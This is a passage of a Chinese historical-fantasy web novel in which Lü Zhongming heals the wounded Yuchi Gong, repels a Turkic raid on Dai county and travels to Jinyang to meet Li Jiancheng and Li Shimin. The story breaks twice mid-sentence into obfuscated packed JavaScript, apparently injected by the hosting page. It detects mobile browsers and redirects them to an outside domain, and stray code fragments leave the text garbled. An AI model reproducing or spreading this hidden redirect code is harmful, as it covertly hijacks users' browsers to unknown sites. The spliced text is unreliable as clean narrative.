吕仲明清澈的声音远在天边,尉迟恭陷入了一个遥远的,记忆中的梦里。 金鳌岛,桃花漫天,小时候的吕仲明从家里走出来,蹲在水边,朝水里看。 “仲明?”尉迟恭沉声道。 刹那间湖水焕发出一阵金光。 黑暗的房间内,吕仲明咬紧牙关,脸上全是泪水,一手勾着尉迟恭腹中的箭头。吕仲明咬牙,发出一阵悲痛的大吼。 登时房中射出万丈金光,一刹那照亮了天穹! 城中所有人转头眺望,吕仲明脖颈上的卍字符文被神兽之力霎时冲破,汇聚于指尖,嗡的一声流淌于尉迟恭全身,连带着秦琼与罗士信身上的金色鳞片也随之亮起! 万里之外,江都,离宫。 杨广后宫内,一个匣中隐约焕发出阵阵金光,自从得到这宝物后,杨广便几乎把它给忘了。宫人大呼小叫,一路捧着匣子来到杨广面前。 然而光芒只是一闪,便即敛去。 雁门关下,代县。 城内外数万军民都看到了短暂亮起的那道光芒,并为之吃惊不已。 光芒湮灭后,房中一瞬间亮起了璀璨的群星,星河旋转,继而温柔地汇入了尉迟恭体内,吕仲明一手不住颤抖,取出了那枚箭矢,尉迟恭的胸膛内泛出金光,继而缓慢起伏。 那一刻,他沉重,有力的心跳犹如世间最悦耳的乐章。 吕仲明满手鲜血,握着箭矢不住发抖,秦琼与罗士信破门而入,呆在当场。 “快给他包扎!”秦琼最先回过神来,将布堵上尉迟恭左胸,吕仲明这才反应过来,手忙脚乱地给他撒上药,两人协力把尉迟恭抱起,给他包扎好。罗士信愕然道:“他不是去北边了么?怎么会出现在这里?!” 这句话瞬间提醒了吕仲明,他马上道:“快!突厥兵从密道进城了!城要破了!” 罗士信这一惊非同小可,吕仲明冲出房外,罗士信一跃而起,跃上了屋檐,继而反手一扯吕仲明,将他带上高处。吕仲明尚不知尉迟恭为何会这个时候进来,然而一切都来不及解释,二人沿着鳞次栉比的屋顶一路狂奔,跳跃,疾奔向东巷。 突厥人已冲进城内,四处放火,城中恐慌开始蔓延,吕仲明奔跑之中四箭齐发,在火海中将突厥人一箭贯穿! 紧接着,城中卫队沿着长街前来支援,罗士信跃下地去,吼道:“弓箭手都上房顶!” 吕仲明大喝道:“会射箭的都跟我来!” 吕仲明瞳孔中金光旋转,要趁着自己力量脱缚,将突厥士兵一举击毙! 然而他急促呼吸片刻,脖颈上的卍字符文再次亮起,天空中倏然间佛光闪现,远远有梵音唱响,万里晴空下,出现了蔚然壮阔的奇景。 霎时间,天穹佛光闪烁,经文诵响,响彻天地。山川,日月,尽数黯然失色,所有人抬头怔怔看着,只见漫天佛光流转,犹如从百亿须弥山,百亿苍穹中爆发出一阵镇压大地的洪流,千万卍字在碧蓝如洗的天幕下旋转,一齐朝着吕仲明压下来。 吕仲明简直是怒不可遏,抬头深吸一口气,吼道:“放肆——!” 吕仲明释放出一身天地乾元之力,竟是悍然与佛光硬抗!麒麟自古乃是司掌天穹之神,古有麒麟斗日月蚀一说,吕仲明那一下动念,一轮皓皓烈日刹那受到感应,天地间一片漆黑。 太阳瞬时被阴影遮去,出现了至为壮阔的日蚀奇景! 是时只见茫茫苍穹,漠漠山川间一片黑暗,唯有天穹中的一道光环,在闪烁着诡异的白光,而光环的边缘,启明星发出闪光。 金乌之力射向大地,汇聚手中弓箭,化为璀璨的金光。 这一刻,佛文从四面八方飞至,晦暗的大地上,吕仲明单膝跪地,犹如天神降世!佛光耀眼令人无法直视,世间凡人尽数瞠目结舌,将吕仲明当做下凡的战神。 然则只有他自己心里清楚,这些符文要将自己的所有力量硬生生压制回去。 双方再次角力,依旧是佛门真力占了上风,吕仲明难以抵抗,正想一箭射向天穹时,瞬间改变了主意,于房檐顶上平地拔高,在空中头上脚下地一个旋转,吼道:“让开——!” 紧接着,吕仲明松弦。 金乌真火之力被吕仲明借于手中,发出了全力一箭! 那一箭化作咆哮的火龙,将整座房屋彻底掀飞,射进了地道入口处,大地隆隆颤抖,火龙钻进了地道,扫清了所有障碍,沿着地道,一路冲向城外,发出一阵惊天动地的大爆炸! 吕仲明摔下来时,脑袋在屋顶一磕碰,紧接着带飞了无数瓦片,稀里哗啦地滚下来,嘭的一声摔进了小巷里。 登时鸡飞狗跳,好不热闹,到处都是乱飞乱扑腾的鸡毛。 吕仲明最后的印象是罗士信的脸,继而就什么都不知道了。 不知睡了多久,后巷里的一阵大喊吵醒了他。吕仲明马上翻身起来,犹如惊弓之鸟,发现自己还在房中,身上盖着罗士信的大麾,睡在地铺上。 尉迟恭则躺在自己的床上,吕仲明忙起身,过去试他鼻息,再摸他额头。 糟糕,发烧了,吕仲明检视他全身,发现尉迟恭身上的箭头已取出,浑身伤痕累累,鞭伤处处,虽那一枚致命的箭簇早已拔除,却依旧昏迷不醒。 自己都做了什么?吕仲明头脑发昏,阵阵隐痛,找了水来,给尉迟恭擦拭身体,一边回忆起先前所做的事来,渐渐都想起来了。 外面状况也不知道怎么样了,破城了么?秦琼没来,应当不至于有事。吕仲明看着尉迟恭强健的躯体,有点吃惊。 他非常壮,却丝毫不显得肌肉硕实,一副大块头的模样。手长腿长,身材十分匀称。不知道为什么,吕仲明突然就想起那天突厥人强上了战俘的事。 这都是什么跟什么!吕仲明尴尬不已,额上青筋暴突。 他用冰凉的水擦拭尉迟恭全身,给他降温,湿布抹过他的胸膛,小心地避开了每一寸伤口,吕仲明有点不自在,想避开那里。但转念一想,还是顺便帮他擦一下罢。 尉迟恭体格健壮,吕仲明又吞了下口水,想到万一他对着自己…… ……为什么我总是会想到这种画面! 吕仲明简直要抓狂了,收敛心神,继续给尉迟恭擦,最后还是用冰冷的布巾搓洗,用手稍微摩挲了下,当做擦干净了。 然而抹布抹过他身体时,尉迟恭的呼吸一停。 吕仲明心道不会罢,醒……醒了吗?别睁眼!吕仲明心里默念道你别睁眼别睁眼,你继续装睡罢。 尉迟恭呼吸均匀,粗重,仿佛又没有醒,吕仲明心想多半是布巾粗糙的纹路摩挲到他皮肤,有点感觉,应该是在做什么梦罢。 吕仲明抹干净尉迟恭全身,洗布时,水上泛着一层脏兮兮,油腻腻的光,吕仲明心道这家伙也不知道几天没洗过澡了,估计离开了半个月,都没洗澡。继而把被子给他盖好。 “仲明。”尉迟恭低声道。 吕仲明正要出去倒水,知道尉迟恭这次是真的醒了,便转过身,问道:“好点了?” “突厥军退了?”尉迟恭呼吸依旧粗重,吕仲明知道他应该很不舒服,答道:“退了,你放心睡罢。” “外头在喊什么?”尉迟恭额上全是汗,仍十分担心。 吕仲明道:“我出去看看,你先休息。” 尉迟恭却不说话了,闭着眼,安静地躺在床上。吕仲明看了他一会,尉迟恭嘴唇苍白,刚毅的脸强忍着痛苦,吕仲明又走回去,小声道:“生病了,会渐渐好起来的。” 说着他俯身下去,以嘴唇轻轻碰了碰尉迟恭的额头。 尉迟恭渐渐平息下来,不再喘气。 “你……爹娘,以前也这么哄你?”尉迟恭断断续续道。 “对。”吕仲明的双眼微微一亮,看着尉迟恭,在榻旁坐下,说:“在金鳌岛,我不舒服的时候,我爹会过来,用嘴唇碰一碰我的额头。” “是什么意思?”尉迟恭的声音渐低下来。 “我不知道。”吕仲明想了想,解释道:“应该是想知道我有没有发烧,又或者……让我安心罢。” 尉迟恭闭着双眼问:“仙人也会生病?” 神兽也会生病吗?神兽当然会生病。 吕仲明笑着说:“我小时候总是乱吃东西,没人跟着,又或者别人一个不注意,被我捡到金鳌岛上稀奇古怪的果子,就朝嘴里塞。” “最后我爹只好把整个后山的东西都铲了,种上桃花。” 吕仲明自己都觉得好笑,尉迟恭也笑了起来,一笑便牵动伤口,眉头深锁,吕仲明道:“你休息会,待会我带点吃的回来给你。” 尉迟恭嗯了声,吕仲明又摸摸他的头,这才走了。 吕仲明心事重重地出来,罗士信还在外面桌子上躺着睡觉,吕仲明不知道为什么又犯二了,把冰凉的小手指伸进他耳朵里转了一圈。 罗士信猛地弹起来就摸武器,道:“来了?!快!跟我上战场去!” 吕仲明:“……” 罗士信惊魂犹定,看着吕仲明,半晌后道:“有病。”接着便躺下继续睡。 吕仲明问道:“外面怎么样了?” 罗士信咂巴嘴,答道:“让哥哥再睡会儿,没事了。” 吕仲明道:“秦大哥呢?” 罗士信道:“你别管了,进去照顾黑炭,别人千里迢迢,命也不要了,特地回来见你一面……” “什么?”吕仲明莫名其妙道:“别睡了,外头打得怎么样了?” “别吵别吵——”罗士信不耐烦,赶苍蝇一样挡开他手,吕仲明见他困得不行,便把衣服给他盖上,出门找秦琼去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563125|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 外面战况好了许多,城墙都筑起来了,黎明时分,全城十分安静,吕仲明背着弓到了城墙下,见秦琼正与几名士兵在吃早饭。 “馒头——”吕仲明大叫道,朝秦琼狂奔而去。 秦琼把自己碗里的粥递给他,吕仲明闻到粥香,觉得自己简直要饿死了。坐在一旁狂吃,士兵们都惊疑不定地看着吕仲明。 “怎么样了?”吕仲明用咀嚼的功夫问了句,又马上忙着吃了。 “快打完了。”秦琼道:“晋阳那边发兵来援,预计今天就到,城外突厥兵进不来,正在想办法,他们还不知道这消息。” “唔。”吕仲明终于放下了心。 秦琼道:“尉迟恭好点了么?” 吕仲明想起尉迟恭,道:“病好了,身体还不行……对了,他怎么会突然回来了?” 秦琼答道:“他离城以后,参加的队伍与突厥人打起来,死了不少人,突厥人见他会打铁,把他给活捉了,留他一命,这队突厥人南下后,来打咱们这儿,他听见几个突厥人商量怎么通过密道进城,半夜就跟着出来,杀了几个人,找到密道入口,结果在密道里被手|弩射中,拼着一口气,逃回来报信,就这样了。” 吕仲明半晌说不出话来,问:“你猜的?” “他自己说的。”秦琼道。 吕仲明总觉得这事似乎有点蹊跷,然而又是对的,却觉得秦琼话里有话,他看着秦琼的双眼,问:“是这样吗?” 秦琼笑了笑,说:“你信么?反正我是不信的。” 吕仲明终于开始觉得尉迟恭有问题了,他眉头深锁,说:“我觉得这里头有什么不对啊,他在的部队打仗输了,他干嘛不跑,而是去投降突厥?” 秦琼淡淡道:“不好逃跑,好死不如赖活着罢,或者,想临死前再见你一面,也是有可能的。” 吕仲明:“既然逃跑很难,那他跟着来打城的时候,是怎么跑掉的?” 秦琼却没回答,只是问道:“还喝点粥么?你都一整天没吃东西了。” “再给我打一碗。”吕仲明道:“我拿回去给尉迟吃。” 秦琼让人舀了粥,吕仲明便拿着碗回去,沿途经过街上时,百姓们看他的眼光都不一样了。 “怎么了?”吕仲明四处看看,还没意识到别的问题。 “吕道长。”一男人过来,问道:“您收徒弟吗?带上我罢。” 这男人一过来,登时有不少年轻人围过来,有求他给家里老人治病的,有求他收徒的,还有人求吕仲明指点迷途的。 吕仲明心里乱七八糟,实在没心思去误人子弟又或者拯救失足男青年,便道:“不收徒,过好自己的日子……走了,再会。” 吕仲明刚过了街,又被一众人等围住,有人又要请他给自己算命以避凶趋吉,吕仲明只得逃难般地回了家里,关上门。 “尉迟恭。”吕仲明回到房内,看到尉迟恭脸色苍白,病情仿佛比自己离开时更严重了,当即心下一惊,忙去试他额头,发现尉迟恭发起了高烧。 这下麻烦了,吕仲明也不好掐着个病人脖子问个究竟,便只得先给他把脉,知道伤口发炎了,又匆匆出去抓药。想起门外还有不少人围着,便翻墙出来,然而外头似乎发生了什么事,门口堵着的人一窝蜂都走了。 吕仲明也顾不得去打听,快步去西市找药堂,奈何城中药堂早就歇业,老板过年后就不知道跑到哪去了,卖药的铺子里不知何时已被百姓洗劫,抽屉里连药材都没剩多少。 怎么办呢?吕仲明回想起过年至今这些天,平日里都是小贩在集市上摆地摊卖草药,现在兵荒马乱的,哪里找得到采药的? 远远的西门外又有人叫嚷,城门开了,有人沿街喊道:“突厥人撤了——” 太好了,突厥人终于走了,吕仲明左右看看,见一队兵马进了城,显然是官兵,然而与官兵编制的铠甲又有所不同。领头一人二十来岁,面容不似武将,却披挂锁铠。 奔马匆匆经过,马上那人打量两侧,无意间与吕仲明对视,然而彼此间都只是惊鸿一瞥,便带着部队穿过了长街。那队人足有两千余,过街时犹如长龙蜿蜒,没个尽头,吕仲明等得心急如焚,好不容易等到人走了,才速度赶回去。 沿街全是新来的官兵,牢牢把守城内要道,盘查百姓,吕仲明被盘查了两次才赶回家,手头仍缺不少药,但尉迟恭伤口感染,已在发高烧,必须先给他退烧。 吕仲明在屋檐下熬了药,又解开尉迟恭身上绷带,给他换药,并以药酒清洗伤口消毒。尉迟恭箭创之处开始泛黄流脓,药酒浇上伤口时,他仍然睡着,一动不动。 吕仲明知道药酒清洗伤口非常疼痛,尉迟恭不可能完全没有反应,应该是他实在没力气了,这种情况相当危险。正在为他擦洗时,秦琼回来了,摘下头盔朝旁边一扔,说:“有客人找你,尉迟他……” 秦琼长期行军打仗,一看就知道是怎么回事,上前帮忙,吕仲明问:“是援军的头儿?” 秦琼沉吟,点头道:“对,唐王府的人来了。” 吕仲明道:“让他等一会。” 然而不到片刻,罗士信带着一个年轻男子推门进来,吕仲明一回头,便知道自己猜对了,正是先前领兵入城,与自己匆匆打了个照面的那男人。 那男人一见吕仲明,便是一愣。 “吕先生?”年轻男人回过神道。 吕仲明点头,屋内站着四个人,一时间甚挤,男人道:“我来帮忙。” 罗士信见那男人要协助,房里也站不下,便道:“我们在外面等。” 秦琼与罗士信都出去了,年轻男人皱眉,先是道:“四处都找不见尉迟将军,果然回了代县,怎么会?” 这话不说还好,一说出口,吕仲明心底便猛地一震,隐约猜到了不少内情,但他一句也没有说,只是答道:“来之前的事,我不清楚,只有等他醒了再问。阁下怎么称呼?” “李建成。”那男子答道。 “久仰。”吕仲明笑道。 李建成道:“彼此。” 李建成似乎不太爱说话,两人看着尉迟恭的伤势,李建成忽道:“此处甫经战乱,药材稀缺,不如让在下将尉迟将军送回晋阳,延请名医诊治。” 也只能这么做了,吕仲明稍一沉吟,便点头道:“这就麻烦世子了。” 李建成出去,片刻便有士兵带着担架进来,将尉迟恭送走,秦琼、罗士信在门口目送唐王府骑兵将尉迟恭带走。吕仲明眉目间带着解不开的焦虑,问:“治好病后,尉迟将军擅离职守一事,会获罪么?” 李建成略一沉吟,答道:“不瞒先生说,尉迟将军不属我统领,乃是舍弟麾下,至于尉迟将军在外执行什么任务,为何到了代县,我并不清楚,只知舍弟近日来,确实在四处找他下落。” 吕仲明一句话便试探出了前因后果,认真道:“那便请世子代为求一句情罢。” 李建成点头道:“那是自然。” 吕仲明作了个请的手势,意思是现在咱们可以谈谈了:“世子请进屋坐。” 18. 第十七回:晋阳 李建成知道要请他喝茶聊天,事实上这次发兵前来支援代县,一半是为解去突厥之危,一半则是来见这数人一面。 吕仲明大约也猜到了,上一次来的李济的身份。 双方坐定,彼此都是明白人,多的话,都不必说,各自心下了然,李建成道:“秦将军、罗将军,在下尚在晋阳时,便久闻两位大名,张须陀老将军为国尽忠,家严还唏嘘不已,为之流泪。” 论年纪,李建成今年已逾弱冠,秦琼、罗士信与吕仲明三人都不满二十;论地位,李家乃是陇西望族,又是唐王世子,己方则都是通缉犯,李建成这么开门见山,已是给足了面子。秦琼面色和缓,却依旧淡淡道:“足感唐王盛情。” 罗士信问道:“上次登门那位,就是你弟弟?” 李建成点头道:“正是,三位好眼力。年前雁门关下歌谣传到晋阳,家父便遣小弟登门,想请吕先生一晤,奈何此地耳目众多,舍弟不敢贸然亮明身份。建成冒昧,请问,吕先生能否一解歌谣深意?” 李建成注视着吕仲明双眼。 “隋唐……”吕仲明道:“世子猜对了,隋后是‘李唐天下’,杨氏将灭,李氏当兴。来,世子请喝茶。” 吕仲明将茶杯放在李建成面前,李建成沉吟,喝茶,并不回答,最后道:“秦将军,罗将军一身武艺超绝,又深通兵法之道,料想不会在代县常住,进城时,建成便听城内百姓争相传颂吕先生日前请来天兵之力,大破胡族一事。料想百姓侵扰,势必将令先生不得安生……” 吕仲明笑了起来,李建成却道:“众望所归,往往不得片刻安宁。此乃建成真心所想。” “说得是。”吕仲明无奈道。 “三位眼下有何去处?”李建成又问。 “并无去处。”秦琼笑道。 罗士信懒懒道:“我跟着我兄弟们走。” 李建成诚恳道:“这次来代县前,家父便叮嘱建成,无论如何,都要请三位到晋阳一聚……建成若不能将各位请回去,只怕家父会亲自前来,年前小弟过世,家父身体状况着实不太好……盼吕先生,秦将军,罗将军……” 吕仲明知道到了这个时候,再端架子就是不识抬举了,李世民一请,李建成二请,已经是史上罕有之事。本来自己三人来并州,就是想投奔李家的。现在已水到渠成,不必再推。 “世民兄在年前便来过一趟。”吕仲明道:“不是我不想去,而是夜观星象,知代县不出三月,必有兵灾,才留在此处。眼下雁门关之危已解,自该前往,为真命天子效力。世子但请先行一步,此间事了,仲明必将登门拜访。” 李建成爽快点头道:“如此甚好,建成便在晋阳府中恭候三位大驾。” 说毕李建成起身,率先朝三人抱拳,秦琼等人回礼,李建成显然有要事在身,便告辞了。 李建成一走,吕仲明脸色便垮了下来,想到尉迟恭的事,只觉心里说不出的不舒服。 罗士信道:“你什么时候夜观星象过了。我看你夜里就没出过门。” 秦琼:“唬人一套一套的,还用得着问?” 罗士信奇怪地看着吕仲明,吕仲明心思明显不在这上头,抬眼一瞥两人,问:“怎么?” “谁惹你了?”秦琼笑道:“你不喜欢那家伙?” 吕仲明没好气道:“不是……” 罗士信道:“不高兴了?” “哎——”吕仲明叹了口气,说不出的失落。 “尉迟恭为什么回来。”吕仲明问道:“你俩肯定知道,别再瞒着我了。” 吕仲明从李建成口中试探出那句话,心下就很不开心,连带着对李建成也绷着脸,幸亏两人还是初见,李建成也不知吕仲明的底细,还以为他平素就是这么一副道貌岸然的样子,彼此说话都十分严肃。 然而李建成一走,吕仲明便不乐意了,秦琼笑道:“我这人笨得很,什么也不知道。” 罗士信道:“我也不知道,那小子还有救么?不如到了晋阳问问他去?” 吕仲明道:“今天你们不告诉我,大家晚上都别想睡觉了!” 秦琼:“……” 罗士信:“……” “他的任务是去刺杀突利可汗。”秦琼终于还是告诉了吕仲明:“埋伏在那队突厥人军营里,等突利可汗来犒军时,设法锤杀他。结果他们要来打代县,早先便挖出了一条密道,预备晚上袭营,尉迟恭无意中听到消息,知道咱们三个在城里,怕咱们有危险……” “怕谁有危险?”罗士信随口补充道:“那黑炭头会管咱哥俩死活?” 秦琼一笑,不说话。 “所以……”吕仲明喃喃道:“放弃了任务,只身潜入地道,过来提醒咱们,还受了重伤,是么?” 秦琼一耸肩,不置评价,罗士信的嘴角却不羁地扯了扯,秦琼道:“私自放弃任务,导致功亏一篑,多半回去得领罚了。” 罗士信不屑道:“说不定也是好事,放弃行刺,反而保住一条小命,谁知道呢?我去收拾东西了,什么时候走。” 吕仲明道:“尽快罢。城里乱糟糟的,没吃没喝,明天就走。” 罗士信便回后院里去收拾家当,吕仲明抱着膝,坐在门外思考,去了晋阳以后,要怎么探查消息。毕竟他来这里的第一任务还是解决佛道之间的矛盾,然而来的时间点似乎早了一些,佛家在做什么,自己现在还不知道。 只能设法通过李世民的关系网,去查清楚现在佛门在中原大地上的活动。所以借助李家的力量,这一步马上就要解决了,接下来,就要想法调查佛门之事。 城内饱经战火,房屋燃烧的余烬产飘向天空,再纷纷扬扬地落下来。晦暗天幕下,一张纸从天穹中飞来,在风里旋转,飞向吕仲明。 吕仲明:“!!!” 吕仲明从未有像现在一样思念父亲,抬起头,现出激动的笑容,信纸落在手中,匆匆展开,想一目十行地看,却又舍不得看完,仿佛看一句便少一句,与父亲相聚的时光十分短暂。 【小小宝贝吾儿: 爹一直在想你,过得还好?今天不住想你,心跳得厉害,仿佛感觉到你在初唐释放出了一身仙力。仙力不可常用,须得顾及百姓安危。 吃饭时,与你仲父提及陈年往事,不禁多有唏嘘。常想着,待你出世后,便带着你俩,一起回去爹的家乡看看。不过孵你孵了许多年,你出世后又不好伺候,便一直耽搁了这么久。 你仲父说,让我别再念叨你了,耳朵都起茧子了,说多了害你成天打喷嚏不好。这话说得也不错,你自该去闯荡历练一番的。如果你在初唐扎根,住下来,记得有空和你的好哥们,好朋友们,大家一起去并州看看,逛逛。 爹的家乡就在并州,那里是你爷爷,太爷爷,祖上们生根的地方。很小的时候,你奶奶带着爹,在塞外放羊,后来爹在雁门关下入伍当兵,常常向往飞将军李广抗击匈奴气吞山河的气概,便在滹沱河畔勤练骑射,又听昭君出塞远嫁的风情,常想着有朝一日,重回故地。 爹小时候,滹沱河畔是一片肥沃的大草原,人民安居乐业,你回去后,想必也差不多。 你早上走到现在,也有足足一天了,方才吃晚饭的时候,还以为你又出去玩,忘了回家吃饭,正要出去找你,你仲父说“仲明回唐代去了你们这俩二愣子父子”,爹才想起这事来。 时间不早了,爹先休息,你玩得开心。】 吕仲明看得眼眶湿润,想起小时候,吕布也给自己说过,来了这么久,竟然忘了并州是父亲的故乡。 信件末尾没有麒麟的补充,还是吕布的字迹。 【对了,明天爹和你仲父出去玩,晚饭前不给你写信了。 你爹。】 吕仲明:“……” 明天出去玩明天出去玩明天出去玩………………也就是说,至少到明年年底!都没有信了!天啊——! 吕仲明看着手里的信,差点就要哭出来了,在门口坐了半晌,一时间愁肠百转,几乎就要放弃治疗了。 天空中下起了灰蒙蒙的小雪,吕仲明忽然想出去走走,毕竟自己也在这里住了数月,若有时间,说不得还得到雁门关下去,看看滹沱河。但现在已是傍晚时分,出城去来不及回来了,就在城中走走罢。 突厥军已撤,虽说李建成率军奔袭,赶跑了突厥人,然而城里依旧是经历了一番战斗,不少士兵在城上被射死的,百姓被流箭所伤的,不计其数。隋兵正在打扫战场,将阵亡将士的尸体搬到空地上。 “吕道长。”百姓见吕仲明来了,纷纷朝他双手合十,以示恭敬,那手势不伦不类,吕仲明也没纠正,只是点点头。 “道长。”那隋兵统领站在城墙上,朝他道:“能不能超度一下咱们的将士?” 吕仲明温和一笑,朝他解释道:“佛家讲究‘超度’,化解罪孽,往生轮回之意。道家不讲这个。” 隋兵统领点了点头,不知两教区别,吕仲明见城中哭声四起,一片凄凄惨惨之意,却道:“开坛设法,令天官祈福,让死去之人魂魄归于天地,护佑后人,是可以的,有香火么?” 百姓马上纷纷回家去取香烛,一时间也用不了那么多,吕仲明沉吟片刻,便取了三柱线香,点起,拢着袖,站在法坛前。 “祭告天地。”吕仲明沉声道:“愿为人间消弭兵灾祸乱,若有劫数,悉数归于仲明之身,愿人间常年安好,风调雨顺,愿中土大地国泰民安。天官赐福,地官赦罪,水官解厄,诸天星官,如敕。” 百姓们议论纷纷,看着吕仲明,见其不诵经,不跳大神,便这么静静站着,嘴里说了几句话,雪便停了。 线香渐渐燃到尽处,晦暗天空下云霾始开,夕阳的金光从西面投来,照耀了全城,群山洒满金辉,城内,城外,积雪渐渐消融,无数生命在这片土地下生机勃发。 吕仲明笑笑,朝那隋兵统领抱拳,统领点头,吕仲明便一拂袖离去。 回到家中时,正好开晚饭,秦琼道:“罗成正想去找你。” 吕仲明拿了碗筷出来分,罗士信问:“又去哪了?” 吕仲明笑道:“没去哪儿,就在附近走走。” 秦琼给吕仲明夹菜,两人见吕仲明心情明显又好了,也不多问,只顾吃菜扒饭,罗士信道:“酒呢?” “明天就走了,得早起出城,别喝了。”秦琼答道,把一盘烘土豆丝放罗士信面前。 吕仲明笑道:“等到了晋阳,想喝多少喝多少。” 罗士信痞子似地笑笑,筷子划拉,把中间焦脆的夹吕仲明碗里,边缘焦黑的自己吃了,说:“你想得未必太好了,去了晋阳,混得如何还不知道呢。” 吕仲明乐道:“李家财大业大,又是唐王,正想找机会造反,大儿子二儿子抢人都抢不过来,你俩又会打仗,不像我只会唬人,到了晋阳,李建成和李世民两兄弟,肯定争着对你们好,酒,是决计不少的。” 罗士信鼻音含糊应了声,说:“两兄弟都不是好人。” 秦琼道:“李济就是他弟弟李世民么?我记得咱们刚认识时,你似乎说过他的名字,今天来的李建成,你觉得怎么样?” 吕仲明微一沉吟,反问道:“李建成和李世民,你们觉得哪个好点?” 罗士信道:“都不喜欢。” 秦琼道:“前者城府颇深,后者……倒是十分客气的,也不容易动怒。” 罗士信道:“后者会收买人心,两兄弟都差不多。” “嗯。”吕仲明知道了罗士信与秦琼的评价,便心中有数,秦、罗二人性格耿直,却并不瞎,面对什么样的人,大家心里都有自己的想法,尤其罗士信,只认真诚的人。 吕仲明也不说谁是真命天子的话,李世民既有本事网罗如此多的人才在麾下,让人心甘情愿地为其效命,想必也不会是虚情假意,收买人心之辈,假以时日,秦琼与罗士信必定会有自己的判断。 夜里,吕仲明点着灯,又看了会父亲写给自己的几封信。 秦琼推门进来,吕仲明看了他一眼,整理自己的东西,头也不抬问:“怎么啦?” “罗成打呼噜。”秦琼道:“吵得没法睡,过来和你挤挤。” 吕仲明便坐进去,让他睡上来,把信挨着折好,里面还有以前在张须陀麾下时,与秦琼讨论战局,随手涂涂画画出来的地图与行军路线。 秦琼看得不住好笑。 吕仲明:“?” 秦琼:“这些你还留着?” 吕仲明:“嗯,都是重要资料,以后说不定可以用上。” 秦琼道:“人前一副高人风范,人后跟个小孩一般。” 吕仲明:“唉——混日子不容易啊,也只有在你和罗大哥面前,才能放松点。睡吧睡吧,明天还要赶路。” 秦琼手指一弹,熄了灯,两人便并肩躺着,窗外月光照进来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那声音虽然不大,却时长时短,毫无规律,若有节奏可言,秦琼勉强还能睡着。然而吕仲明三不五时打着鼾,还会“嘎”的一声,卡住一小会,秦琼简直是要被他整疯了,抓着枕头起来,要按他脸上,寻思良久,只得卷了铺盖又上楼去。 刚到楼梯下,罗士信雷霆般的打呼噜声传下来。 秦琼索性把铺盖一扔,躺在厅堂中间,满肚子郁闷,睡了。 翌日,三人出城,吕仲明睡眼惺忪,看着罗士信收拾出的一大堆东西,吓了一跳。 吕仲明瞠目结舌道:“咱们有这么多家当?” 来并州时三人两手空空,只有三匹马,现在居然收拾出了四个大包袱,大多是衣物,秦琼俩黑眼圈,站在一旁抽鼻涕。 罗士信道:“你秦大哥说,赚点钱不容易,这些日子里都是你在养家,除了带不走的送给老百姓,剩下的能带就带上罢。送人的东西,我都说是你分的,拿到锅碗瓢盆的人,都说是活神仙的东西,预备拿回家供起来呢。” 吕仲明心里咯噔一响,问道:“夜壶什么的没送人罢……千万别给供起来啊!” 秦琼实在没力气跟他多说,忙道:“走罢走罢,你别跟小二愣子扯这个了,成天脑子里不知道在想什么……” 吕仲明被两人抓了上马,临走时,还想回头去跟街坊邻居告别一声,秦琼准确地用一句话击溃了他。 “我只说咱们去探亲,要是被人知道你走了,就有人去偷你的夜壶了。” 吕仲明登时不敢再想,匆匆忙忙,逃难似地与二人出了代县。 沿途兵荒马乱,田地荒废,冬天过后,两道一片狼藉。 三人在官道上游荡数日,所见之处,大多是拖家带口,前来并州生活的百姓,奈何哪里都不太平,中原叛军四起,边疆突厥为患,看到这景象,吕仲明不由得心想,是该出来了。 连着走了几天,官道上渐渐地热闹起来,有了些人气,路边立着晋阳的界碑,已入地界,晋阳城壮阔气派,城门拔地而起,光是城墙外聚集的民众,就足有上万,俨然一副塞外长安之景。 大门紧闭,只开偏门,让百姓进出。此处官兵盘查甚是严格,秦琼一看便道:“应当是防胡人奸细,可是咱们无文书,无令牌,要怎么进去?让人报信?” 三骑远远驻于城门外,罗士信调转马头,斜斜朝向城门,往远处一示意,笑道:“特地等着咱们呢。” 城门下摆着一张胡床,上面坐着个小年轻正喝茶,看见秦琼的那匹马,便起身,朝他们快步走来。 “不是等咱们吧。”吕仲明小声猜测。 要真是为了等三人,那可实在是礼贤下士到家了,但吕仲明转念一想,李家几个儿子,应当都是聪明人,尤以李世民为甚——既然知道自己与尉迟恭那点牵扯,便也知道,他一定会来,而且会尽早赶来。 “只怕还真是等咱们。”秦琼道:“且去会一会他。”说毕翻身下马。 那人正是登门拜访过一次的李济,一见三人,便远远笑道:“吕仲明!” “李世民!”吕仲明也笑道:“又见面了。” 罗士信道:“这也太把咱们弟兄当回事了,专程等这两天,不嫌气闷么?” 李世民一抱拳,默认了自己的身份,莞尔道:“依我说,该到代县去一趟,上次说好的酒还没喝到,奈何家父让世民在城墙下等着,世民便只得等着,父命难为,气闷也是没有办法的事。” 三人都是忍不住笑了起来,李世民一副自来熟的模样,作了个“请”的手势,下令道:“开城门!” 晋阳大门缓缓被推开,现出城中全景,只见一条笔直道路通往城中央唐王府,雕栏玉砌,七层楼阁,犹如皇宫般占地百亩,好不气派。沿街热闹繁华,一派熙熙攘攘之象。 就连吕仲明自己,在金鳌岛上生活了这么多年,也没见过此等热闹的人间宏伟大城,依稀间豪迈感登生,仿佛有一个全新的世界,在他的面前开启了一扇大门,又仿佛走进了真正的历史里。一如诗歌所云: 还携堂印入并州,将相兼权是武侯,时难独当天下事,功成却进手中筹。 李世民回头打趣道:“我等了两天,当真怕你们不来了。” 吕仲明看着李世民双眼,也与他打趣道:“上天有命,令我们来辅佐你,不敢不来呐!” 李世民先是一怔,继而似有所感,看着吕仲明,吕仲明却一哂道:“世民兄请。” 李世民带路,带着四人进入了这个繁华的花花世界。 